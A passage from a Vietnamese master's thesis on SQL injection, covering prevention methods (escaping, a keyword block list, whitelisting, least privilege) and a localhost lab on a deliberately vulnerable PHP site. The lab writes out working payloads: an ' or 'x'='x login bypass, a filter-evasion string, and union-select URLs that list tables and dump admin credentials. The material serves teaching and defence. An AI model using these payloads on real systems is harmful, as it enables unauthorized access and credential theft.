Cách Phòng Tránh SQL Injection

Một phần của tài liệu Nghiên cứu một số lỗ hổng thiếu an ninh trong ứng dụng công nghệ thông tin, phương pháp và công cụ kiểm soát, xử lý lỗ hổng (Trang 68)

- Như vậy, có thể thấy lỗi SQL injection khai thác những bất cẩn của các lập trình viên phát triển ứng dụng web khi xử lí các dữ liệu nhập vào để xây dựng câu lệnh SQL. Tác hại từ lỗi SQL injection tùy thuộc vào môi trường và cách cấu hình hệ thống. Nếu ứng dụng sử dụng quyền dbo (quyền của người sở hữu cơ sở dữ liệu - owner) khi thao tác dữ liệu, nó có thể xóa toàn bộ các bảng dữ liệu, tạo các bảng dữ liệu mới, … Nếu ứng dụng sử dụng quyền sa (quyền quản trị hệ thống), nó có thể điều khiển toàn bộ hệ quản trị cơ sở dữ liệu và với quyền hạn rộng lớn như vậy nó có thể tạo ra các tài khoản người dùng bất hợp pháp để điều khiển hệ thống của bạn[3].

69

• Trong hầu hết trình duyệt, những kí tự nên được mã hoá trên địa chỉ URL trước khi được sử dụng.

• Việc tấn công theo SQL Injection dựa vào những câu thông báo lỗi do đó việc phòng chống hay nhất vẫn là không cho hiển thị những thông điệp lỗi cho người dùng bằng cách thay thế những lỗi thông báo bằng 1 trang do người phát triển thiết kế mỗi khi lỗi xảy ra trên ứng dụng.

• Kiểm tra kĩ giá trị nhập vào của người dùng, thay thế những kí tự như ‘ ; v..v.. Hãy loại bỏ các kí tự meta như “',",/,\,;“ và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ:

o dữ liệu nhập do người dùng đệ trình o các tham số từ URL

o các giá trị từ cookie

• Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi thực hiện câu truy vấn SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.

• Dùng thuật toán để mã hoá dữ liệu 2.3.2.1. Kiểm tra dữ liệu [5]

- Kiểm tra tính đúng đắn của dữ liệu là 1 vấn đề phức tạp và thường chưa được quan tâm đúng mức trong các ứng dụng. Khuynh hướng của việc kiểm tra tính đúng đắn của dữ liệu không phải là chỉ cần thêm một số chức năng vào ứng dụng, mà phải kiểm tra một cách tổng quát nhanh chóng để đạt được mục đích.

- Những tóm tắt sau đây sẽ bàn về việc kiểm tra tính đúng đắn của dữ liệu, cùng với ví dụ mẫu để minh hoạ cho vấn đề này.

Có ba giải pháp tiếp cận vấn đề này:

1) Cố gắng kiểm tra và chỉnh sửa để làm cho dữ liệu hợp lệ. 2) Loại bỏ những dữ liệu bất hợp lệ.

70 3) Chỉ chấp nhận những dữ liệu hợp lệ • Giải pháp 1: khó thực hiện

- Thứ nhất, người lập trình không cần thiết phải biết tất cả dữ liệu bất hợp lệ, bởi vì những dạng dữ liệu bất hợplệ rất đa dạng.

- Thứ hai, là vấn đề của trường hợp bị tấn công 2 tầng (second-oder SQL injection) trong việc lấy dữ liệu từ hệ thống ra.

• Giải pháp 2: bị vô hiệu trong các trường hợp như giải pháp 1 là do :

- Dữ liệu bất hợp lệ luôn luôn thay đổi và cùng với việc phát triển các kiểu tấn công mới.

• Giải pháp 3: tốt hơn hai giải pháp kia, nhưng sẽ gặp một số hạn chế khi cài đặt. - Cách bảo mật tốt nhất là kết hợp cả giải pháp 2 và 3. Một ví dụ cho sự cần thiết kết hợp 2-3 là dấu nối giữa họ và tên “Quentin Bassington-Bassington” phải cho phép dấu gạch ngang trong bộ định nghĩa dữ liệu hợp lệ, nhưng chuỗi kí tự “--“ là một chuỗi kí tự đặc biệt trong SQL server.

- Ví dụ nếu có bộ lọc để :

+ Lọc bỏ những dữ liệu bất hợp lệ như ‘--‘,’select’ và ‘union’

+ Một hàm kiểm soát để loại bỏ dấu nháy đơn thì có thể đối phó như sau. uni’on se’lect @@version-‘-

71

function escape( input )

input = replace(input, "'", "''") escape = input

end function

function validate_string( input )

known_bad = array("select","insert", "update", "delete", "drop","--", "'" )

validate_string = true

for i = lbound( known_bad ) to ubound( known_bad )

if ( instr( 1, input, known_bad(i), vbtextcompare ) <> 0 ) then validate_string = false exit function end if next • Cách 1: Từ chối dữ liệu bất hợp lệ

72 function validatepassword( input ) good_password_chars =

"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123 456789"

validatepassword = true for i = 1 to len( input )

c = mid( input, i, 1 )

if ( InStr( good_password_chars, c ) = 0 ) then validatepassword = false

exit function end if

next

• Cách 3: Chỉ chấp nhận dữ liệu hợp lệ

2.3.2.2. Thiết lập cấu hình an toàn cho hệ quản trị cơ sở dữ liệu [5]

- Cần có cơ chế kiểm soát chặt chẽ và giới hạn quyền xử lí dữ liệu đến tài khoản người dùng mà ứng dụng web đang sử dụng. Các ứng dụng thông thường nên tránh dùng đến các quyền như dbo hay sa. Quyền càng bị hạn chế, thiệt hại càng ít.

Ngoài ra để tránh các nguy cơ từ SQL Injection attack, nên chú ý loại bỏ bất kì thông tin kĩ thuật nào chứa trong thông điệp chuyển xuống cho người dùng khi ứng dụng có lỗi. Các thông báo lỗi thông thường tiết lộ các chi tiết kĩ thuật có thể cho phép kẻ tấn công biết được điểm yếu của hệ thống.

73

Chương 3. MÔ PHỎNG TẤN CÔNG DẠNG SQL INJNECTION 3.1. CÀI ĐẶT CHƯƠNG TRÌNH

Trong chương này sẽ trình bày demo mô phỏng tấn công một website code bằng ngôn ngữ PHP xử dụng csdl MySQL thông qua lỗ hổng SQL Injection.

Công cụ:

- XamPP hệ quản trị CSDL MySQL - Website bị lỗi SQL Injection Link:

- Xampp: https://www.apachefriends.org/download.html - Code web:

Bước 1: Cài đặt Xampp

74

Ở phần chọn đường dẫn hãy chọn đường dẫn cần lưu cài đặt của XAMPP. Lưu ý rằng đường dẫn này phải nhớ vì khi cài đặt web lên localhost, bạn phải truy cập vào thư mục này. Bạn nên để mặc định làc:\xampp. Tiếp tục ấn Next.

Ở trang kế tiếp, bạn bỏ chọn phần “Learn more about Bitnami for XAMPP“. Và

75

Sau khi cài xong, ấn nút Finish để kết thúc cài đặt và mở bảng điều khiển của XAMPP. Tuy nhiên, hãy khởi động lại máy sau khi cài đặt xong để tránh tình trạng không khởi động được localhost.

Khởi động Localhost

Bây giờ bạn hãy vào thư mục c:\xampp và mở file xampp-panel.exe lên để bật bảng điều khiển của XAMPP.

76

Bảng điều khiển của XAMPP

Hãy để ý sẽ thấy hai ứng dụng Apache và MySQL có nút Start, đó là dấu hiệu bảo 2 ứng dụng này chưa được khởi động, hãy ấn vào nút Start của từng ứng dụng để khởi động Webserver Apache và MySQL Server lên thì mới chạy được localhost. Nếu cả hai ứng dụng chuyển sang màu xanh như hình dưới là đã khởi động thành công.

77

Sau khi khởi động xong, hãy truy cập vào website với địa chỉ là http://localhost sẽ thấy nó hiển thị ra trang giới thiệu XAMPP như hình dưới.

78

Bạn có thể ấn vào nút English phía bên dưới để truy cập vào trang quản lý localhost. Tạo cơ sở dữ liệu MySQL (Database)

Để tạo database, bạn hãy truy cập vào localhost với đường

79

Sau đó ở phần Create databsae, bạn nhập tên database cần tạo vào ô Database name(ở đây chúng ta nhạp tên là demo), phần Collation bạn hãy chọn là utf8_unicode_ci như hình dưới rồi ấn nút Create kế bên.

Sau khi tạo xong chúng ta import csdl demo đã có sẵn vào csdl vừa tạo. Cơ sở dữ liệu demo được lưu trong code web có tên là demo.sql.

80 Chọn import đểm chèn csdl demo vào.

Chọn tệp demo.sql sao đó nhấn Go để chương trình import csdl vào. Sau khi thành công sẽ như hình bên dưới.

81

Chú ý: Khắc phục lỗi nạp CSDL vào phpMyAdmin bị giới hạn 2Mb (localhost): Mở file: php.ini

Tìm:

; Maximum allowed size for uploaded files. upload_max_filesize = 2M

Sửa thành:

;Maximum allowed size for uploaded files.

upload_max_filesize = 200M (200 là dung lượng mà bạn cho phép mỗi lần upload,tính theo Mega byte)

Cài chương trình demo len localhost

Sau khi cài xong xampp và csdl demo. Bạn copy thư mục code demo của web vào đường dẫn C:\xampp\htdocs sau đó vào trình duyệt gõ địa chỉ: http://localhost/Demo/. Giao diện ứng dụng như hình bên dưới.

82 3.2. THỬ NGHIỆM CHƯƠNG TRÌNH

1- Menu chức năng

2- Cử sổ mo phỏng trình duyệt

3- Code php tương ứng của chương trình

4- Câu lệnh SQL tương ứng với thao tác truy xuất dữ liệu của người dùng. 3.2.1. Tấn công vượt qua kiểm tra đăng nhập

83 Cách thức vượt qua kiểm soát:

Đăng nhập với thông tin đăng nhập bất kì sau đó đăng nhập với thông tin sau đây. Tên đăng nhập: ' or 'x'='x

84 Màn hình login thành công xuất hiện như sau:

Nhu vậy chúng ta đã thực hiện thành công tấn công vượt qua kiểm tra đăng nhập

85 3.2.2. Tấn công xử dụng câu lệnh Union Select.

Code xử lý:

Tấn công:

Bước 1: Kiểm tra lỗi SQL Injection

86

Bước 2: Tìm số cột mà câu truy vấn tạo ra dung order by (số cột)

- http://localhost/Demo/news.php?id=16 order by 2 => không lỗi

- http://localhost/Demo/news.php?id=13 order by 3 => Lỗi => Số cột là 2

87

Bước 3: Tìm cột chứa thông tin có thể khai thác được

http://localhost/Demo/news.php?id=13 union select 1,2

Bước 4: Xác định tên bảng chưa thông tin người quản trị

http://localhost/Demo/news.php?id=13 union select 1, group_concat (table_name) from information_schema.tables where table_schema=database()

88

Bước 5: Xác định các trường dữ liệu của bản chứa thông tin quản trị

http://localhost/Demo/news.php?id=13 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x75736572

Bước 6: Xác định tài khoản và mật khẩu của người quản trị

http://localhost/Demo/news.php?id=150 union select user_name, pass from user

Bước 7: Giải mã mật khẩu nếu có rồi tìm link trang đăng nhập và chiếm quyền quản trị

89 Web giải mã md5: http://hashkiller.co.uk/ Code fix lỗi:

90 KẾT LUẬN

Luận văn giới thiệu và đưa ra cảnh báo với một số hình thức tấn công gây mất an toàn thông tin vào các hệ thống ứng dụng CNTT hiện nay. Mô tả chi tiết một số dạng tấn công phổ biến như:

+ Tấn công giao thức SSL/TSL:

- Mô tả chi tiết cách thức tấn công BEAST giải mã thông điệp - Đưa ra biện pháp khắc phục

+ Tấn công DDoS:

- Đưa ra các mô hình tấn công DDoS và mô tả chi tiết - Đưa ra một số biện pháp khắc phục cơ bản

+ Tấn công dạng SQL injection:

- Đưa ra các cách thức tân công SQL injection lên trang web như: Tấn công vượt qua kiểm soát truy nhập, tấn công sử dụng câu lệnh union select, tấn công sử dụng câu lệnh insert

- Đưa ra một số biện pháp khắc phục

Các dạng tấn công về cơ bản cho ta thấy được sự nguy hiểm hiểm khi hệ thống mắc phải những lỗ hổng về an toàn, bảo mật thông tin. Luận văn đưa ra cái nhìn cụ thể hơn về một số lỗ hổng an toàn bảo mật để cảnh báo cho người sử dụng các cơ quan nhà nước, doanh nghiệp nhận thấy được tầm quan trọng của việc đảm bảo an toàn thông tin và tham khảo các biện pháp để khắc phục những lỗ hổng này.

Các nội dung trong luận văn mới chỉ là các bước nghiên cứu mở đầu, đây cũng là tiền đề để tôi tiếp tục nghiên cứu chuyên sâu hơn về 3 dạng tấn công gây mất an toàn thông tin vào giao thức SSL/TSL, Tấn công DDoS, Tấn công dạng SQL injection. Đồng thời nghiên cứu mở rộng một số loại tấn công gây mất an toàn thông tin khác.

91

TÀI LIỆU THAM KHẢO Tiếng Việt

[1] Ban cơ yếu chính phủ (2014), bài viết về tấn công BEAST.

[2] Phân loại tấn công DDoS và các biện pháp phòng chống. Tác giả Hoàng Xuân Dậu, Học viên bưu chính viễn thông.

[3] Tấn công từ chối dịch vụ Dos,Ddos,DRDos. Tác giả Ng. Thanh Nghị-HVA [4] Tấn công mạng máy tính. Tác giả PGS.TS Nguyễn Hiếu Minh

[5] Tấn công kiểu SQL Injection-Tác hại và phòng tránh. Tác giả Lê Đình Duy- Khoa CNTT-Trường ĐH Khoa Học Tự Nhiên TP.HCM

[6] Trần Minh triết, Bài giảng Modes of Operation và Padding Scheme

[7] Trịnh Nhật Tiến, Giáo trình an toàn dữ liệu – Khoa công nghệ thông tin, Đại học Công nghệ, Đại học quốc gia Hà Nội.

Tiếng Anh

[8] An Introduction to SQL Injection Attacks For Oracle Developers.Author Stephen Kost

[9]. Pratik Guha Sarkar, Shawn Fitzgerald (2013), ATTACKS ON SSL A COMPREHENSIVE STUDY OF BEAST, CRIME, TIME, BREACH, LUCKY 13 & RC4 BIASES

[10]. Thai Duong, Juliano Rizzo (May 13, 2011), Here Come The Ninjas. [11] Kevin Spett, SQL Injection-Are you web Applications vulnerable. [12] http://z6.invisionfree.com/iu4rum/ar/t98.htm

Một phần của tài liệu Nghiên cứu một số lỗ hổng thiếu an ninh trong ứng dụng công nghệ thông tin, phương pháp và công cụ kiểm soát, xử lý lỗ hổng (Trang 68)

Tải bản đầy đủ (PDF)

(91 trang)